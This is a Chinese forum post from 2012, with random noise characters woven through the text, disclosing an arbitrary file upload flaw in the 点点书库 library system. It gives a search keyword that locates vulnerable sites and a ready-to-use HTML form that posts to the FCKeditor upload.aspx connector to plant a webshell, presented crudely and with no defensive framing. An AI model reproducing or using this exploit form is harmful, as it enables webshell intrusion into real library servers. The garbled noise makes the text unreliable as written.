主题:图书馆系统任意文件上传漏洞9 i/ ~# D5 Z$ L5 q0 t
作者:冰锋刺客4 @$ a: g& d9 G! C, ]" k. f2 l, c
厂商:点击书(dianjishu.com)2 X% K( i- _% B5 o; ?) ?
日期:2012-6-21, b/ j: t7 X9 v8 i$ N9 r, L
- e! a: j/ `- e* B0 g, ]5 PI 概述7 ?# a" ]$ C# I6 _
点点书库图书馆系统存在文件上传漏洞，导致可以直接拿webshell* L2 t. ~7 s q: i. ~
II 简介+ [! o& K2 b; q! e1 j' E
关键词:"Copyright (C) 点点电子书库 2009-2010, All Rights Reserved"
2 ^/ ?! | Y* X4 p0 b4 D9 [ 补充一个漏洞
5 ~1 C4 d% K; c% G <form id="frmUpload" enctype="multipart/form-data"
; I) f* R: w3 p: F% j' M action="http://url/admin/js/fckeditor/editor/filemanager/connectors/aspx/upload.aspx?Type=Media" method="post">请上传您的马子<br><input type="file" name="NewFile" size="50"><br>
, y4 Z( |$ b* r <input id="btnUpload" type="submit" value="操翻他">; V+ T7 r* A6 K' n! K: m- H& p
</form>
: L# z' Z/ h* @* `* j+ y 你们懂的3 k5 M) R! n' k, ] Y! S# n
那傻逼提供还需要改包.7 v. \0 [- N- ^
自己看了下源代码发现fckeditor* s0 g$ j; C0 r" Y5 I7 J9 D; k" x
直接秒杀. S8 [9 t& V$ R5 K1 i
|
发表于 2012-9-10 21:20:59
收藏
支持
反对